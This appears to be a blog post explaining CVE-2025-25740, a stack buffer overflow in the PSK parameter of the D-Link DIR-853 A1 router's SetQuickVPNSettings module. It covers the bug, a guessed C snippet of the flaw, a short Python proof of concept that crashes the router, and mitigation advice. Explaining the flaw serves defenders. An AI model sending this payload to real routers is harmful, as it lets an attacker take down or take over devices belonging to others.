A new critical vulnerability, CVE-2025-25740, has been found in the D-Link DIR-853 A1 router with firmware version 1.20B07. This bug can let attackers take control of the router by exploiting a stack-based buffer overflow using the PSK parameter in the SetQuickVPNSettings module. In this post, we'll break down what this vulnerability means, how it can be exploited, and show example code for understanding and demonstration.

What is CVE-2025-25740?

This vulnerability exists in the D-Link DIR-853 A1 router because the application doesn’t check the length of the PSK (Pre-Shared Key) parameter before copying it into a fixed-size buffer. By sending a very long PSK, an attacker can overflow the buffer, overwrite memory, and potentially run their own code—leading to a full router takeover.

Summary Table

| Property | Value |
|-------------------------|------------------------------------------|
| Affected Device | D-Link DIR-853 A1 |
| Firmware Version | FW1.20B07 |
| Vulnerable Module | SetQuickVPNSettings |
| Vulnerable Param | PSK |
| CWE | CWE-121: Stack-Based Buffer Overflow |
| Impact | Remote code execution (RCE), DoS |
| Authentication | Requires authentication by default |

Technical Deep Dive

The key problem is simple: the router expects a short password (PSK). But the SetQuickVPNSettings module copies whatever you send—no matter how long—straight into a small variable in memory. Here’s a simplified view of what the code probably looks like inside:

void SetQuickVPNSettings(char* PSK)
{
    char psk_buffer[64];

    // Vulnerable function: no length check!
    strcpy(psk_buffer, PSK);

    // ... rest of the function
}

The hacker can supply a PSK that's longer than 64 bytes, causing the variable to overflow and overwrite the next data on the stack—sometimes even the function return address.

How Attackers Exploit CVE-2025-25740

Attackers can send a POST request with a huge string in the PSK parameter to the SetQuickVPNSettings endpoint. By carefully crafting this input, including malicious payloads, attackers can force the router to execute any code they choose.

The following Python snippet demonstrates sending a large string to crash the module (DoS proof)

import requests

url = "http://<router-ip>/cgi-bin/SetQuickVPNSettings";

payload = {
    "PSK": "A" * 200 # 200 bytes will overflow the buffer
}

# You need to be authenticated, provide cookies if needed
response = requests.post(url, data=payload)

if response.status_code == 200:
    print("Payload sent! Check if the router crashed/rebooted.")
else:
    print("Unexpected HTTP status:", response.status_code)

For advanced exploitation, the attacker would send a payload designed to overwrite the return address and point it to attacker-supplied code (shellcode). This could let them run commands as root, get a remote shell, or brick the device.

Who is at Risk?

- Anyone running D-Link DIR-853 A1 with firmware version 1.20B07, especially if the device's web admin interface is exposed to untrusted networks.
- Users with weak administration credentials, making it easier for hackers to log in and exploit the vulnerability.

Mitigation and Recommendations

- Update Firmware: Check for firmware updates from D-Link’s official page. If an update is not available, contact D-Link support and check advisory channels.
- Restrict Access: Never expose the router’s management interface to the Internet. Use VPN or local access only.

Strong Passwords: Ensure administrator passwords are unique and complex.

- Monitor Logs: Watch for strange POST requests to the /cgi-bin/SetQuickVPNSettings path.

References

- NVD Entry for CVE-2025-25740 (Note: may be pending publication)
- D-Link DIR-853 Official Support
- Buffer Overflow Explanation (OWASP)
- Example Exploit Writeup

Final Thoughts

CVE-2025-25740 is dangerous because it’s easy to exploit, especially if your admin page is available on the Internet or if an attacker can get admin access. Until there’s a fixed firmware, keep your router on a secure network and monitor for suspicious activity.

Stay safe! If you are running a D-Link DIR-853 A1, update or isolate it today. Watch vulnerability trackers for new information on patches or mitigation steps.

*This post is exclusive and summarizes the current known details about CVE-2025-25740. For any updates, follow vendor advisories and security mailing lists.*

Timeline

Published on: 02/14/2025 15:15:13 UTC
Last modified on: 03/17/2025 19:15:25 UTC